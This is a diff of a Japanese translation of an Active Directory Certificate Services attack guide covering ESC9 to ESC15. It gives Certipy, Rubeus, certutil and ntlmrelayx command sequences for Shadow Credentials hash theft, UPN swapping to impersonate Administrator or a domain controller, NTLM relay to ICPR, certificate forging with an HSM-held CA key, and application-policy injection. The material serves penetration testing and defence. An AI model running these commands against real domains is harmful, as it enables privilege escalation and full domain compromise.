他のアカウントを妥協するために `GenericWrite` 権限が利用可能である。 +- 証明書に任意のクライアント認証 EKU が指定されている。 +- 別のアカウントを侵害するための GenericWrite 権限が任意のアカウントに対して存在する。 ### 悪用シナリオ -仮に `John@corp.local` が `Jane@corp.local` に対して `GenericWrite` 権限を持ち、`Administrator@corp.local` を妥協することを目指しているとします。`Jane@corp.local` が登録を許可されている `ESC9` 証明書テンプレートは、その `msPKI-Enrollment-Flag` 設定に `CT_FLAG_NO_SECURITY_EXTENSION` フラグが設定されています。 +例えば、`John@corp.local` が `Jane@corp.local` に対して `GenericWrite` 権限を持ち、`Administrator@corp.local` を侵害することを目的としているとします。`Jane@corp.local` が登録を許可されている `ESC9` 証明書テンプレートは、`msPKI-Enrollment-Flag` 設定で `CT_FLAG_NO_SECURITY_EXTENSION` フラグが設定されています。 -最初に、`Jane` のハッシュは `John` の `GenericWrite` により、Shadow Credentials を使用して取得されます： +最初に、`John` の `GenericWrite` により、Shadow Credentials を使って `Jane` のハッシュが取得されます： ```bash certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane ``` -その後、`Jane`の`userPrincipalName`が`Administrator`に変更され、`@corp.local`ドメイン部分が意図的に省略されます： +その後、`Jane`の`userPrincipalName`は`Administrator`に変更され、`@corp.local`のドメイン部分は意図的に省略されます: ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator ``` -この変更は制約に違反しません。`Administrator@corp.local`は`Administrator`の`userPrincipalName`として区別されます。 +この変更は、`Administrator@corp.local` が引き続き `Administrator` の `userPrincipalName` として区別されているため、制約に違反しません。 -これに続いて、脆弱であるとマークされた`ESC9`証明書テンプレートが`Jane`として要求されます： +続いて、脆弱とマークされた `ESC9` 証明書テンプレートが `Jane` として要求されます: ```bash certipy req -username jane@corp.local -hashes -ca corp-DC-CA -template ESC9 ``` -証明書の `userPrincipalName` は `Administrator` を反映しており、「object SID」はありません。 +証明書の`userPrincipalName`が`Administrator`を反映しており、いかなる「オブジェクトSID」も含まれていないことが確認されます。 -`Jane` の `userPrincipalName` は元の `Jane@corp.local` に戻されます： +その後、`Jane`の`userPrincipalName`は元の`Jane@corp.local`に戻される： ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local ``` -発行された証明書を使用して認証を試みると、`Administrator@corp.local`のNTハッシュが得られます。証明書にドメインの指定がないため、コマンドには`-domain `を含める必要があります: +発行された証明書で認証を試行すると、`Administrator@corp.local` の NT hash が取得されます。証明書にドメイン指定がないため、コマンドには `-domain ` を含める必要があります: ```bash certipy auth -pfx adminitrator.pfx -domain corp.local ``` -## 弱い証明書マッピング - ESC10 +## 脆弱な証明書マッピング - ESC10 ### 説明 -ドメインコントローラー上の2つのレジストリキー値がESC10によって参照されます： +ESC10 はドメインコントローラー上の 2 つのレジストリキー値を指します: -- `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel`の下の`CertificateMappingMethods`のデフォルト値は`0x18`（`0x8 | 0x10`）で、以前は`0x1F`に設定されていました。 -- `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc`の下の`StrongCertificateBindingEnforcement`のデフォルト設定は`1`で、以前は`0`でした。 +- `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` の `CertificateMappingMethods` のデフォルト値は `0x18` (`0x8 | 0x10`) で、以前は `0x1F` に設定されていました。 +- `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` の `StrongCertificateBindingEnforcement` のデフォルト設定は `1` で、以前は `0` でした。 **ケース 1** -`StrongCertificateBindingEnforcement`が`0`に設定されている場合。 +`StrongCertificateBindingEnforcement` が `0` に設定されている場合。 **ケース 2** -`CertificateMappingMethods`に`UPN`ビット（`0x4`）が含まれている場合。 +`CertificateMappingMethods` に `UPN` ビット (`0x4`) が含まれている場合。 ### 悪用ケース 1 -`StrongCertificateBindingEnforcement`が`0`に設定されている場合、`GenericWrite`権限を持つアカウントAは、任意のアカウントBを危険にさらすために悪用される可能性があります。 +`StrongCertificateBindingEnforcement` が `0` に設定されている場合、`GenericWrite` 権限を持つアカウント A は任意のアカウント B を侵害するために悪用できます。 -例えば、`Jane@corp.local`に対して`GenericWrite`権限を持つ攻撃者が、`Administrator@corp.local`を危険にさらそうとします。この手順はESC9と同様で、任意の証明書テンプレートを利用することができます。 +例えば、`Jane@corp.local` に対して `GenericWrite` 権限を持つ場合、攻撃者は `Administrator@corp.local` を侵害することを狙えます。手順は ESC9 と同様で、任意の証明書テンプレートを利用できます。 -最初に、`Jane`のハッシュはShadow Credentialsを使用して取得され、`GenericWrite`を悪用します。 +まず、`Jane` のハッシュは Shadow Credentials を使用して取得され、`GenericWrite` を悪用します。 ```bash certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane ``` -その後、`Jane`の`userPrincipalName`が`Administrator`に変更され、制約違反を避けるために`@corp.local`部分が故意に省略されます。 +その後、`Jane`の`userPrincipalName`は`Administrator`に変更され、制約違反を避けるために`@corp.local`の部分は意図的に省略されています。 ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator ``` -これに続いて、デフォルトの `User` テンプレートを使用して、`Jane` としてクライアント認証を有効にする証明書が要求されます。 +これに続き、クライアント認証を有効にする証明書がデフォルトの `User` テンプレートを使用して `Jane` として要求されます。 ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` -`Jane`の`userPrincipalName`は元の`Jane@corp.local`に戻されます。 +`Jane`の`userPrincipalName`はその後元の`Jane@corp.local`に戻されます。 ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local ``` -取得した証明書を使用して認証すると、`Administrator@corp.local`のNTハッシュが得られます。これは、証明書にドメインの詳細が含まれていないため、コマンドでドメインを指定する必要があります。 +取得した証明書で認証すると、`Administrator@corp.local` の NT hash が得られます。証明書にドメイン情報が含まれていないため、コマンドでドメインを指定する必要があります。 ```bash certipy auth -pfx administrator.pfx -domain corp.local ``` -### Abuse Case 2 +### 悪用ケース 2 -`CertificateMappingMethods` に `UPN` ビットフラグ (`0x4`) が含まれている場合、`GenericWrite` 権限を持つアカウント A は、`userPrincipalName` プロパティを持たない任意のアカウント B を危険にさらすことができます。これには、マシンアカウントや組み込みのドメイン管理者 `Administrator` が含まれます。 +`CertificateMappingMethods` に `UPN` ビットフラグ（`0x4`）が含まれている場合、`GenericWrite` 権限を持つアカウント A は、`userPrincipalName` プロパティを持たない任意のアカウント B（マシンアカウントや組み込みのドメイン管理者 `Administrator` を含む）を侵害できます。 -ここでの目標は、`Jane` のハッシュを Shadow Credentials を通じて取得し、`GenericWrite` を利用して `DC$@corp.local` を危険にさらすことです。 +ここでは、`GenericWrite` を利用して Shadow Credentials を介して `Jane` のハッシュを取得することから始め、`DC$@corp.local` を侵害することを目的とします。 ```bash certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane ``` -`Jane`の`userPrincipalName`は`DC$@corp.local`に設定されます。 +`Jane`の`userPrincipalName`は次に`DC$@corp.local`に設定されます。 ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local' ``` -クライアント認証のための証明書がデフォルトの `User` テンプレートを使用して `Jane` として要求されます。 +クライアント認証用の証明書が、デフォルトの `User` テンプレートを使用して `Jane` として要求されます。 ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` -`Jane`の`userPrincipalName`は、このプロセスの後に元に戻ります。 +このプロセスの後、`Jane`の`userPrincipalName`は元の値に戻ります。 ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local' ``` -Schannelを介して認証するには、Certipyの`-ldap-shell`オプションが使用され、認証成功は`u:CORP\DC$`として示されます。 +Schannel経由で認証するために、Certipyの`-ldap-shell`オプションを使用し、認証が成功すると`u:CORP\DC$`と表示されます。 ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -LDAPシェルを通じて、`set_rbcd`のようなコマンドはリソースベースの制約付き委任（RBCD）攻撃を可能にし、ドメインコントローラーを危険にさらす可能性があります。 +LDAP shellを通じて、`set_rbcd` のようなコマンドは Resource-Based Constrained Delegation (RBCD) 攻撃を可能にし、ドメインコントローラーを危険にさらす可能性があります。 ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -この脆弱性は、`userPrincipalName`が欠如しているか、`sAMAccountName`と一致しない任意のユーザーアカウントにも拡張されます。デフォルトの`Administrator@corp.local`は、LDAPの特権が高く、デフォルトで`userPrincipalName`が存在しないため、主要なターゲットとなります。 +この脆弱性は、`userPrincipalName` が設定されていないユーザーアカウント、または `sAMAccountName` と一致しないアカウントにも及びます。デフォルトの `Administrator@corp.local` は LDAP の権限が高く、デフォルトで `userPrincipalName` が存在しないため、主要な標的となります。 -## NTLMをICPRに中継する - ESC11 +## Relaying NTLM to ICPR - ESC11 -### 説明 +### Explanation -CAサーバーが`IF_ENFORCEENCRYPTICERTREQUEST`で構成されていない場合、RPCサービスを介して署名なしでNTLM中継攻撃を行うことができます。[こちらを参照](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/)。 +CA Server が `IF_ENFORCEENCRYPTICERTREQUEST` で構成されていない場合、RPC サービス経由で署名なしの NTLM relay attacks を許可してしまいます。 [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/). -`certipy`を使用して、`Enforce Encryption for Requests`が無効になっているかどうかを列挙でき、certipyは`ESC11`の脆弱性を表示します。 +`certipy` を使用して `Enforce Encryption for Requests` が Disabled かどうかを列挙でき、certipy は `ESC11` 脆弱性を表示します。 ```bash $ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -572,9 +594,9 @@ Enforce Encryption for Requests : Disabled ESC11 : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue ``` -### Abuse Scenario +### 悪用シナリオ -リレーサーバーを設定する必要があります: +リレーサーバーをセットアップする必要がある: ```bash $ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100 Certipy v4.7.0 - by Oliver Lyak (ly4k) @@ -593,29 +615,29 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k) [*] Saved certificate and private key to 'administrator.pfx' [*] Exiting... ``` -注意: ドメインコントローラーの場合、DomainControllerで`-template`を指定する必要があります。 +注意: ドメインコントローラの場合、DomainController では `-template` を指定する必要があります。 -または、[sploutchyのimpacketのフォーク](https://github.com/sploutchy/impacket)を使用します: +または [sploutchy's fork of impacket](https://github.com/sploutchy/impacket) を使用 : ```bash $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support ``` -## Shell access to ADCS CA with YubiHSM - ESC12 +## YubiHSM による ADCS CA へのシェルアクセス - ESC12 ### 説明 -管理者は、証明書機関を「Yubico YubiHSM2」のような外部デバイスに保存するように設定できます。 +管理者は証明機関 (Certificate Authority) を "Yubico YubiHSM2" のような外部デバイスに格納するように設定できます。 -USBデバイスがCAサーバーにUSBポート経由で接続されている場合、またはCAサーバーが仮想マシンの場合はUSBデバイスサーバーが接続されている場合、YubiHSM内でキーを生成および利用するために、認証キー（時には「パスワード」と呼ばれる）が必要です。 +CA サーバーが USB ポート経由で USB デバイスに接続されている場合、あるいは CA サーバーが仮想マシンで USB デバイスサーバーを介して接続されている場合、Key Storage Provider が YubiHSM 内で鍵を生成・利用するために認証キー（しばしば "password" と呼ばれる）が必要です。 -このキー/パスワードは、レジストリの`HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword`に平文で保存されています。 +このキー/password はレジストリの `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` に平文で保存されます。 -[こちら](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm)を参照してください。 +参照: [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm). ### 悪用シナリオ -CAの秘密鍵が物理USBデバイスに保存されている場合、シェルアクセスを取得すると、その鍵を復元することが可能です。 +もし CA の秘密鍵が物理的な USB デバイスに保存されている状態でシェルアクセスを得た場合、その鍵を回収することが可能です。 -まず、CA証明書を取得する必要があります（これは公開されています）そして： +まず、CA 証明書（これは公開情報）を取得し、その後: ```cmd # import it to the user store with CA certificate $ certutil -addstore -user my @@ -623,17 +645,17 @@ $ certutil -addstore -user my # Associated with the private key in the YubiHSM2 device $ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my ``` -最終的に、certutil `-sign` コマンドを使用して、CA証明書とその秘密鍵を使用して新しい任意の証明書を偽造します。 +最後に、CA証明書とその秘密鍵を使って、certutil `-sign` コマンドで任意の新しい証明書を偽造します。 -## OIDグループリンクの悪用 - ESC13 +## OID Group Link Abuse - ESC13 ### 説明 -`msPKI-Certificate-Policy` 属性は、発行ポリシーを証明書テンプレートに追加することを許可します。ポリシーを発行する責任のある `msPKI-Enterprise-Oid` オブジェクトは、PKI OIDコンテナの構成命名コンテキスト (CN=OID,CN=Public Key Services,CN=Services) で発見できます。このオブジェクトの `msDS-OIDToGroupLink` 属性を使用して、ポリシーをADグループにリンクすることができ、証明書を提示するユーザーがグループのメンバーであるかのようにシステムがそのユーザーを認可することが可能になります。[ここに参照](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53)。 +`msPKI-Certificate-Policy` 属性は、発行ポリシーを証明書テンプレートに追加できるようにします。発行ポリシーを担う `msPKI-Enterprise-Oid` オブジェクトは、PKI OID コンテナの Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) に見つかります。ポリシーはこのオブジェクトの `msDS-OIDToGroupLink` 属性を使って AD グループにリンクでき、その結果、証明書を提示したユーザーをそのグループのメンバーであるかのようにシステムが認可できるようになります。 [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53). -言い換えれば、ユーザーが証明書を登録する権限を持ち、その証明書がOIDグループにリンクされている場合、ユーザーはこのグループの特権を引き継ぐことができます。 +言い換えると、ユーザーが証明書を登録する権限を持ち、その証明書が OID グループにリンクされている場合、ユーザーはそのグループの権限を継承できます。 -[Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) を使用してOIDToGroupLinkを見つけます: +OIDToGroupLink を見つけるには [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) を使用します: ```bash Enumerating OIDs ------------------------ @@ -657,72 +679,72 @@ OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local ``` ### 悪用シナリオ -ユーザー権限を見つけるには `certipy find` または `Certify.exe find /showAllPermissions` を使用します。 +使用できるユーザー権限を `certipy find` または `Certify.exe find /showAllPermissions` で探す。 -`John` が `VulnerableTemplate` を登録する権限を持っている場合、そのユーザーは `VulnerableGroup` グループの特権を継承できます。 +もし `John` が `VulnerableTemplate` への enroll（登録）権限を持っていれば、そのユーザーは `VulnerableGroup` グループの特権を引き継げる。 -必要なことは、テンプレートを指定するだけで、OIDToGroupLink 権限を持つ証明書を取得します。 +やることはテンプレートを指定するだけで、OIDToGroupLink 権限を持つ証明書を取得できる。 ```bash certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate' ``` -## 脆弱な証明書更新構成 - ESC14 +## 脆弱な証明書更新構成- ESC14 ### 説明 -https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping の説明は非常に詳細です。以下は元のテキストの引用です。 +https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping の記述は非常に詳しいです。以下は元のテキストの引用です。 -ESC14は、「弱い明示的証明書マッピング」から生じる脆弱性に対処しており、主にActive Directoryユーザーまたはコンピューターアカウントの`altSecurityIdentities`属性の誤用または不適切な構成を通じて発生します。この多値属性は、管理者が認証目的でADアカウントにX.509証明書を手動で関連付けることを可能にします。これが設定されると、これらの明示的なマッピングは、通常、証明書のSAN内のUPNまたはDNS名、または`szOID_NTDS_CA_SECURITY_EXT`セキュリティ拡張に埋め込まれたSIDに依存するデフォルトの証明書マッピングロジックを上書きすることができます。 +ESC14 は主に Active Directory のユーザーまたはコンピュータアカウント上の `altSecurityIdentities` 属性の誤用や安全でない構成から生じる「弱い explicit certificate mapping」に起因する脆弱性に対処します。この多値属性は、管理者が X.509 証明書を AD アカウントに手動で関連付けて認証に使用できるようにします。設定されている場合、これらの explicit mappings は通常、証明書の SAN にある UPN や DNS 名、または `szOID_NTDS_CA_SECURITY_EXT` セキュリティ拡張に埋め込まれた SID に基づくデフォルトの証明書マッピングロジックを上書きすることがあります。 -「弱い」マッピングは、`altSecurityIdentities`属性内で証明書を識別するために使用される文字列値があまりにも広範で、簡単に推測できる、非一意の証明書フィールドに依存する、または簡単に偽造可能な証明書コンポーネントを使用する場合に発生します。攻撃者が特権アカウントのためにこのように弱く定義された明示的マッピングに一致する属性を持つ証明書を取得または作成できる場合、その証明書を使用してそのアカウントとして認証し、なりすますことができます。 +「弱い」マッピングは、`altSecurityIdentities` 属性内で証明書を識別するために使用される文字列値が広すぎる、推測しやすい、ユニークでない証明書フィールドに依存している、あるいは簡単に偽造可能な証明書要素を使用している場合に発生します。攻撃者が特権アカウントのためにそのように弱く定義された explicit mapping に一致する属性を持つ証明書を入手または作成できる場合、その証明書を使ってそのアカウントとして認証し偽装することができます。 -潜在的に弱い`altSecurityIdentities`マッピング文字列の例には以下が含まれます： +潜在的に弱い `altSecurityIdentities` マッピング文字列の例には次のようなものがあります: -- 一般的なSubject Common Name (CN)によるマッピングのみ：例、`X509:CN=SomeUser`。攻撃者は、より安全でないソースからこのCNを持つ証明書を取得できるかもしれません。 -- 特定のシリアル番号や主題キー識別子のようなさらなる資格なしに、あまりにも一般的なIssuer Distinguished Names (DNs)またはSubject DNsを使用する：例、`X509:CN=SomeInternalCACN=GenericUser`。 -- 攻撃者が正当な方法で取得または偽造できる証明書で満たすことができる他の予測可能なパターンや非暗号的識別子を使用する（CAを侵害したり、ESC1のような脆弱なテンプレートを見つけたりした場合）。 +- 一般的な Subject Common Name (CN) のみでマッピングする: 例 `X509:CN=SomeUser`。攻撃者はこの CN を持つ証明書をより安全でないソースから入手できる可能性があります。 +- 特定のシリアル番号や subject key identifier のような追加の限定がない、過度に一般的な Issuer Distinguished Name (DN) や Subject DN を使用する: 例 `X509:CN=SomeInternalCACN=GenericUser`。 +- 攻撃者が合法的に入手または偽造（CA を侵害した、または ESC1 のような脆弱なテンプレートを見つけた場合）できる証明書で満たせるような、予測可能なパターンや非暗号学的識別子を使用する。 -`altSecurityIdentities`属性は、マッピングのためにさまざまな形式をサポートしています： +`altSecurityIdentities` 属性はマッピングのために様々な形式をサポートします。例: -- `X509:IssuerDNSubjectDN`（完全なIssuerおよびSubject DNによるマッピング） -- `X509:SubjectKeyIdentifier`（証明書のSubject Key Identifier拡張値によるマッピング） -- `X509:SerialNumberBackedByIssuerDN`（シリアル番号によるマッピング、暗黙的にIssuer DNによって資格付けされる） - これは標準形式ではなく、通常は`IssuerDNSerialNumber`です。 -- `X509:EmailAddress`（SANからのRFC822名、通常はメールアドレスによるマッピング） -- `X509:Thumbprint-of-Raw-PublicKey`（証明書の生の公開鍵のSHA1ハッシュによるマッピング - 一般的に強力） +- `X509:IssuerDNSubjectDN` (完全な Issuer と Subject DN でマップ) +- `X509:SubjectKeyIdentifier` (証明書の Subject Key Identifier 拡張値でマップ) +- `X509:SerialNumberBackedByIssuerDN` (シリアル番号でマップ、暗黙的に Issuer DN で限定) - 通常の形式ではなく、通常は `IssuerDNSerialNumber` です。 +- `X509:EmailAddress` (SAN の RFC822 名、通常はメールアドレスでマップ) +- `X509:Thumbprint-of-Raw-PublicKey` (証明書の生の公開鍵の SHA1 ハッシュでマップ - 一般的に強力) -これらのマッピングのセキュリティは、マッピング文字列で使用される選択された証明書識別子の特異性、一意性、および暗号的強度に大きく依存します。ドメインコントローラーで強力な証明書バインディングモードが有効になっている場合（これは主にSAN UPN/DNSおよびSID拡張に基づく暗黙的マッピングに影響します）、不適切に構成された`altSecurityIdentities`エントリは、マッピングロジック自体が欠陥があるか、あまりにも許容的である場合、なりすましの直接的な道を提供する可能性があります。 +これらのマッピングの安全性は、マッピング文字列で使用される証明書識別子の具体性、一意性、暗号学的強度に大きく依存します。Domain Controllers 上で強力な証明書バインディングモードが有効であっても（これは主に SAN の UPN/DNS と SID 拡張に基づく暗黙のマッピングに影響します）、`altSecurityIdentities` のエントリが不適切に構成されていると、マッピングロジック自体が脆弱または許容的すぎる場合に偽装の直接的な経路を提供する可能性があります。 ### 悪用シナリオ -ESC14はActive Directory (AD)の**明示的証明書マッピング**をターゲットにしており、特に`altSecurityIdentities`属性を対象としています。この属性が設定されている場合（設計上または誤設定による）、攻撃者はマッピングに一致する証明書を提示することでアカウントをなりすますことができます。 +ESC14 は Active Directory (AD) の **explicit certificate mappings**、特に `altSecurityIdentities` 属性を標的とします。この属性が設定されている（意図的または誤設定）場合、攻撃者はマッピングに一致する証明書を提示することでアカウントを偽装できます。 -#### シナリオA: 攻撃者が`altSecurityIdentities`に書き込むことができる +#### シナリオ A: 攻撃者が `altSecurityIdentities` に書き込み可能 -**前提条件**: 攻撃者はターゲットアカウントの`altSecurityIdentities`属性に書き込み権限を持っているか、ターゲットADオブジェクトに対して以下のいずれかの権限を付与する権限を持っています： -- プロパティ`altSecurityIdentities`の書き込み -- プロパティ`Public-Information`の書き込み -- プロパティ（すべて）の書き込み +前提: 攻撃者は対象アカウントの `altSecurityIdentities` 属性に書き込み権を持っている、または対象 AD オブジェクトに対して次のいずれかの権限を持つことでそれを付与できる。 +- Write property `altSecurityIdentities` +- Write property `Public-Information` +- Write property (all) - `WriteDACL` - `WriteOwner`* - `GenericWrite` - `GenericAll` -- Owner*。 +- Owner*. -#### シナリオB: ターゲットがX509RFC822（メール）を介して弱いマッピングを持つ +#### シナリオ B: 対象が X509RFC822 (メール) による弱いマッピングを持つ -- **前提条件**: ターゲットは`altSecurityIdentities`に弱いX509RFC822マッピングを持っています。攻撃者は被害者のメール属性をターゲットのX509RFC822名に一致させ、被害者として証明書を登録し、それを使用してターゲットとして認証します。 +- 前提: 対象が altSecurityIdentities に弱い X509RFC822 マッピングを持っている。攻撃者は被害者の mail 属性を対象の X509RFC822 名に一致させ、被害者として証明書を発行（enroll）し、その証明書を使って対象として認証できる。 -#### シナリオC: ターゲットがX509IssuerSubjectマッピングを持つ +#### シナリオ C: 対象が X509IssuerSubject マッピングを持つ -- **前提条件**: ターゲットは`altSecurityIdentities`に弱いX509IssuerSubject明示的マッピングを持っています。攻撃者は被害者の主題をターゲットのX509IssuerSubjectマッピングに一致させるために`cn`または`dNSHostName`属性を設定できます。その後、攻撃者は被害者として証明書を登録し、この証明書を使用してターゲットとして認証します。 +- 前提: 対象が `altSecurityIdentities` に弱い X509IssuerSubject explicit mapping を持っている。攻撃者は被害者プリンシパルの `cn` または `dNSHostName` 属性を、対象の X509IssuerSubject マッピングの subject に一致するように設定できる。次に、攻撃者は被害者として証明書を発行し、この証明書を使って対象として認証できる。 -#### シナリオD: ターゲットがX509SubjectOnlyマッピングを持つ +#### シナリオ D: 対象が X509SubjectOnly マッピングを持つ -- **前提条件**: ターゲットは`altSecurityIdentities`に弱いX509SubjectOnly明示的マッピングを持っています。攻撃者は被害者の主題をターゲットのX509SubjectOnlyマッピングに一致させるために`cn`または`dNSHostName`属性を設定できます。その後、攻撃者は被害者として証明書を登録し、この証明書を使用してターゲットとして認証します。 +- 前提: 対象が `altSecurityIdentities` に弱い X509SubjectOnly explicit mapping を持っている。攻撃者は被害者プリンシパルの `cn` または `dNSHostName` 属性を、対象の X509SubjectOnly マッピングの subject に一致するように設定できる。次に、攻撃者は被害者として証明書を発行し、この証明書を使って対象として認証できる。 -### 具体的な操作 -#### シナリオA +### concrete operations +#### Scenario A -証明書テンプレート`Machine`の証明書をリクエストします。 +証明書テンプレート `Machine` の証明書を要求する（Request a certificate of the certificate template `Machine`）。 ```bash .\Certify.exe request /ca: /template:Machine /machine ``` @@ -730,7 +752,7 @@ ESC14はActive Directory (AD)の**明示的証明書マッピング**をター ```bash certutil -MergePFX .\esc13.pem .\esc13.pfx ``` -認証する（証明書を使用して） +認証（証明書を使用） ```bash .\Rubeus.exe asktgt /user: /certificate:C:\esc13.pfx /nowrap ``` @@ -738,27 +760,27 @@ certutil -MergePFX .\esc13.pem .\esc13.pfx ```bash Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:DC=local,DC=external,CN=external-EXTCA01-CA250000000000a5e838c6db04f959250000006c" ``` -より具体的な攻撃手法については、以下を参照してください: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0)。 +For more specific attack methods in various attack scenarios, please refer to the following: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0). -## EKUwu アプリケーションポリシー (CVE-2024-49019) - ESC15 +## EKUwu Application Policies(CVE-2024-49019) - ESC15 -### 説明 +### Explanation -https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc の説明は非常に詳細です。以下は元のテキストの引用です。 +The description at https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc is remarkably thorough. Below is a quotation of the original text. -組み込みのデフォルトバージョン1証明書テンプレートを使用することで、攻撃者はテンプレートに指定された構成された拡張キー使用属性よりも優先されるアプリケーションポリシーを含むCSRを作成できます。唯一の要件は登録権限であり、**_WebServer_** テンプレートを使用してクライアント認証、証明書要求エージェント、およびコード署名証明書を生成するために使用できます。 +組み込みのデフォルトの version 1 certificate templates を使用すると、攻撃者は CSR を作成して、テンプレートで指定された Extended Key Usage 属性よりも優先される application policies を含めることができます。唯一の要件は enrollment rights であり、**_WebServer_** テンプレートを使用して client authentication、certificate request agent、codesigning 証明書を生成するために利用できます。 -### 悪用 +### Abuse -以下は [このリンク](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu) に参照されています。詳細な使用方法を確認するにはクリックしてください。 +以下は [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Click to see more detailed usage methods. を参照しています。 -Certipyの `find` コマンドは、CAがパッチ未適用の場合、ESC15に対して潜在的に脆弱なV1テンプレートを特定するのに役立ちます。 +Certipy の `find` コマンドは、CA が未パッチの場合に ESC15 の影響を受ける可能性のある V1 テンプレートを特定するのに役立ちます。 ```bash certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100 ``` -#### シナリオ A: Schannelを介した直接ななりすまし +#### シナリオ A: Schannel を介した直接的ななりすまし -**ステップ 1: "クライアント認証" アプリケーションポリシーとターゲットUPNを注入して証明書を要求します。** 攻撃者 `attacker@corp.local` は "WebServer" V1 テンプレートを使用して `administrator@corp.local` をターゲットにします（これは登録者が提供した件名を許可します）。 +**ステップ 1: "Client Authentication" Application Policy とターゲット UPN を注入して証明書を要求する。** 攻撃者 `attacker@corp.local` は `administrator@corp.local` を「WebServer」V1 テンプレートを使用してターゲットにする（このテンプレートは登録者が提供した subject を許可する）。 ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -767,17 +789,17 @@ certipy req \ -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \ -application-policies 'Client Authentication' ``` -- `-template 'WebServer'`: 脆弱なV1テンプレートで「エンロリーがサブジェクトを提供する」。 -- `-application-policies 'Client Authentication'`: CSRのApplication Policies拡張にOID `1.3.6.1.5.5.7.3.2`を注入します。 -- `-upn 'administrator@corp.local'`: なりすましのためにSANにUPNを設定します。 +- `-template 'WebServer'`: "Enrollee supplies subject" を持つ脆弱な V1 テンプレート。 +- `-application-policies 'Client Authentication'`: CSR の Application Policies 拡張に OID `1.3.6.1.5.5.7.3.2` を注入します。 +- `-upn 'administrator@corp.local'`: なりすましのために SAN に UPN を設定します。 -**ステップ2: 取得した証明書を使用してSchannel (LDAPS)経由で認証します。** +**ステップ 2: 取得した証明書を使用して Schannel (LDAPS) 経由で認証します。** ```bash certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell ``` -#### シナリオ B: Enrollment Agent AbuseによるPKINIT/Kerberosなりすまし +#### シナリオB: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse -**ステップ 1: "Enrollee supplies subject"を持つV1テンプレートから証明書をリクエストし、"Certificate Request Agent"アプリケーションポリシーを注入します。** この証明書は攻撃者（`attacker@corp.local`）がエンロールメントエージェントになるためのものです。ここでは攻撃者自身のアイデンティティに対してUPNは指定されていません。目的はエージェント機能です。 +**ステップ1: V1 テンプレート (with "Enrollee supplies subject") から証明書を要求し、"Certificate Request Agent" Application Policy を注入する。** この証明書は攻撃者（`attacker@corp.local`）が enrollment agent になるためのものである。目的は agent capability であるため、攻撃者自身の識別子には UPN は指定されていない。 ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -787,7 +809,7 @@ certipy req \ ``` - `-application-policies 'Certificate Request Agent'`: OID `1.3.6.1.4.1.311.20.2.1` を注入します。 -**ステップ 2: "agent" 